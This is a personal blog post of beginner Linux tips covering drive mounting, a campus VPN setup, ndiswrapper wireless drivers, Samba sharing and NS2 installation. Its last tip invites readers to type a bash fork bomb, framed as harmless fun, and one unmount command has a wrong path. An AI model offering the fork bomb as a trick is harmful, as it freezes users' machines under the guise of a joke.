Just some Linux tips

In this last few days, one of networking laboratory in my campus is recruiting some research assistants. Some of my friend which is participating, came and asked for how to do things in their Linux. Although all has been documented and could be searched through Google, I think I need to post here, in case other people might need it.

  • How to mount a fdd or hdd (flashdisk or harddisk drive)? (yup, it’s the top asked question. lol)
    • If needed, maybe you want to check if your pc support USB 2.0 or not at first (lspci -v|grep USB)
    • Know the name of your device detected by your pc by search for a /dev/sda or /dev/hda in the kernel message (dmesg|grep sda). Usually, it would be ‘sdax’ for fdd and sata hdd, or hdax for pata hdd.
    • Then make a new directory for your usb disk (mkdir /mnt/fd)
    • Mount it (mount /dev/sdb1 /mnt/fd)
    • Safely remove? Umount (umount /dev/mnt/fd)
    • Facing any problems? RT*M (man mount). Finish.
  • How to browse internet via vpn connection in our campus?
    • Download the vpn client software here.
    • Extract it (tar xzvf vpn.tgz)
    • Go to extracted directory (cd vpn)
    • Then execute runme.sh file (./runme.sh)
    • Edit configuration files : ifcfg-pptp0 (vi /etc/conf.d/ifcfg-pptp0) and chap-secrets (vi /etc/ppp/chap-secrets). Fill them with your network settings. (e.g. vpn host =, vpn user = 11107xxxx, vpn password = 1234567)
    • Run the vpn client (ifup-pptp)
    • If there are a proxy in your network, then add it to your environment (export http_proxy=; export ftp_proxy=
    • Simply test it using lynx browser (lynx google.com). Finish.
  • How to connect to a wi-fi network?
    • First, search the hardware driver for linux. Install it. Finish.
    • If  you can’t find it, search for its windows driver. (I used to have a laptop with Broadcomm wireless card. And after searched somewhere in internet and found here that windows version of Broadcomm driver could also be used in Linux using ndiswrapper)
    • Install ndiswrapper
    • Go to its windows driver folder (cd driver)
    • Execute this : ndiswrapper -i namadriver.inf
    • Execute : ndiswrapper -l
    • Then some text will appear :

    _______bcmwl5 : driver installed
    _______device (14E4:4318) present (alternate driver: bcm43xx)

    • Note the word after alternate driver, we’ll use this for  blacklisting for notebook that has wireless card detected but not working. So that the innate modules for wifi linux is no longer active at the time of booting into linux.
    • Now blacklist (echo blacklist bcm43xx | sudo tee -a /etc/modprobe.d/blacklist)
    • And remove above said module (sudo rmmod bcm43xx)
    • Activate the module (ndiswrapper -m)
    • Turn on the wifi adapter (modprobe ndiswrapper)
    • To make wifi is automatically turned on when we turn on the computer, then edit the file modules (gedit /etc/modules). Insert ‘ndiswrapper’ word without quotation in it
    • Then configure the interface automatically (dhclient) or manually (ifconfig). Finish.
  • How to share file in a local network?
    • Install samba
    • Edit the configuration files (vi /etc/smb.conf). If you need, make it accessible from other OS (security = user). Share a folder by editing the configuration file (see the examples at the few last lines).
    • If you need, add some samba users (smbpasswd -a RegisteredUsernameInThisComputer)
    • Make sure the samba user is created (less /etc/samba/private/smbpasswd)
    • Control the service (/etc/rc.d/rc.samba {start|stop|restart|reload|status|condrestart} )
    • Access it in other computer (smbclient -L samba-server-name-or-ip) or (smbclient -L samba-server-name-or-ip –user=yourname[%yourpassword]) or (smbclient //samba-server-name-or-ip/shared/directory). Finish.
  • How to configure file permissions, ownerships, bla..bla..bla…?
    • Not too hard too understand. You’ll quickly figure it out after read the manual (man chown; man chmod; man chgrp)
  • How to simulate a network using NS2?
    • Download (use wget or something similar)
    • Extract, change directory, install (tar xzvf ns-xx.tar.gz; cd ns-xx; ./install)
    • Install the network animator (cd nam; ./configure; make; make install)
    • Make your ns script with your network configuration(or use the example files)
    • Run ns (or copy the ns binary file to /bin first for easy access)
    • Analyze the nam as you want. Finish.
  • Last, when you feel bored with your shell commands, bla..bla..bla.. Try to type this command “:( ){ :| :&};:” without the quotes(” “). And, have fun with the child process that you’ve made ;) (nb: you could disable this fun stuff by enabling SE Linux)

nb: I was using slackware and freebsd and played with these fun stuffs at my first few months in my boarder room (around August-December 2007). Now, I use windows much more than linux/bsd for my laboratory activity (we’re focusing on transmission, rf engineering, and all related to mobile communication). So, if there is any new ways than I my writings now, feel free to tell me, okay? :)

nb_2: I prefer used root account at that time (yeah, I know that was my bad habit). So, if you use regular user, don’t forget to add ‘sudo’ or ‘su’ for some significant commands.


About this entry